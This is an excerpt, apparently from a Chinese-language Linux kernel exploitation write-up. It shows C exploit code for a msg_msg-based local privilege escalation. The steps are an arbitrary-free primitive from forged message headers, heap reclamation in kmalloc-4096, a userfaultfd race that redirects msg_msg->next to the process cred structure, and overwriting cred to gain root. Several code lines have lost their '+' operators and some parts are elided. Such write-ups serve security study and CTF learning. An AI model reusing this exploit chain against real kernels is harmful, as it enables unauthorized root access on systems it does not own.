任意释放:调用arb_free(),伪造QID #0队列中的消息结构,并释放 QID #0 中的消息。
[...]
void arb_free(int idx, uint64_t target)
{
struct evil_msg *msg = (struct evil_msg *)malloc(0x100);
void *memdump = malloc(0x2000);
msg->m_list.next = queue; // [2] 指向 QID #1
msg->m_list.prev = queue;
msg->m_type = 1;
msg->m_ts = 0x10;
msg->next = target; // [3] 下一个segment指向QID #1队列中的segment
edit_rule(idx, (unsigned char *)msg, OUTBOUND, 0); // [4] 修改 QID #0 中的消息头结构
puts("[*] Triggering arb free...");
msgrcv(qid[0], memdump, 0x10, 1, IPC_NOWAIT | MSG_NOERROR); // [5] 释放 QID #0 中的消息
puts("[ ] Target freed!");
free(memdump);
free(msg);
}
[...]
arb_free(0, large_msg); // [1]
[...]
- [2]:我们用之前泄露的 QID #1 队列的地址,来修复 QID #0 中的 msg_msg->m_list.next 和 msg_msg->m_list.prev ,这样我们就能调用 msgrcv() 释放 QID #0 中的消息,不用 MSG_COPY flag 也能避免内核unlink时崩溃。
- [3]:使msg_msg->next指向之前泄露的message slab,也就是现在的QID #2消息的segment ;
- [4]:调用 edit_rule() 修改 msg_msg 头结构后,堆布局如下:
- [5]:不带 MSG_COPY flag 调用 msgrcv(),内核将会调用free_msg()释放 QID #0 中的消息和 new segment。
思路:现在 QID #2中的msg_msg->next指向一个空闲的kmalloc-4096 (上一步利用任意释放原语所释放)。现在分配新消息占据该kmalloc-4096,即可通过QID #2篡改新消息的msg_msg->next实现任意写。
[...]
void *allocate_msg2(void *_)
{
printf("[Thread 2] Message buffer allocated at 0x%lx\n", page_2 PAGE_SIZE - 0x10);
if ((qid[3] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) == -1) // [2] 创建队列 QID #3
{
perror("msgget");
exit(1);
}
memset(page_2, 0, PAGE_SIZE);
((unsigned long *)(page_2))[0xff0 / 8] = 1;
if (msgsnd(qid[3], page_2 PAGE_SIZE - 0x10, 0x1028 - 0x30, 0) < 0) // [3] 分配0x1028字节的消息(0x30头 0xff8数据),内核中会分配1个 `0x30 0xfd0` 的消息块(和之前任意释放的segment位于同一块)和1个`0x8 0x28`字节的segment(位于`kmalloc-64`)。
{
puts("msgsend failed!");
perror("msgsnd");
exit(1);
}
puts("[Thread 2] Message sent, target overwritten!");
}
[...]
pthread_create(&tid[3], NULL, allocate_msg2, NULL); // [1] 创建子线程执行allocate_msg2()
[...]
- [2]:创建队列 QID #3。
- [3]:调用msgsend() 分配0x1028字节的消息(0x30头 0xff8数据),内核中会分配1个 0x30 0xfd0 的消息块(和之前任意释放的segment位于同一块)和1个0x8 0x28字节的segment(位于kmalloc-64)。
- 用户传入数据位于page_2 PAGE_SIZE - 0x10,使用 userfaultfd 来监视 page_2 PAGE_SIZE 位置,等待页错误,第2个页错误。触发页错误时,堆布局如下:
篡改QID #3 中msg_msg->next指针:释放第1个错误处理,将QID #3中的msg_msg->next指针,篡改为当前进程的cred-0x8(因为segment的头8字节必须为null,避免load_msg()访问next segment时崩溃)。
[...]
if (page_fault_location == page_1 PAGE_SIZE)
{
printf("[PFH 1] Page fault at 0x%lx\n", page_fault_location);
memset(buff, 0, PAGE_SIZE);
puts("[PFH 1] Releasing faulting thread");
struct evil_msg *msg = (struct evil_msg *)(buff 0x1000 - 0x40);
msg->m_type = 0x1;
msg->m_ts = 0x1000;
msg->next = (uint64_t)(cred_struct - 0x8); // [1] 将 QID #3 中的 msg_msg->next 指针,篡改为当前进程的 cred-0x8
ufd_copy.dst = (unsigned long)(page_fault_location);
ufd_copy.src = (unsigned long)(&buff);
ufd_copy.len = PAGE_SIZE;
ufd_copy.mode = 0;
ufd_copy.copy = 0;
for (;;)
{
if (release_pfh_1)
{
if (ioctl(ufd, UFFDIO_COPY, &ufd_copy) < 0)
{
perror("ioctl(UFFDIO_COPY)");
exit(1);
}
puts("[PFH 1] Faulting thread released");
break;
}
}
}
[...]
篡改cred:释放第2个错误处理,将当前进程的cred覆盖为0,最终提权。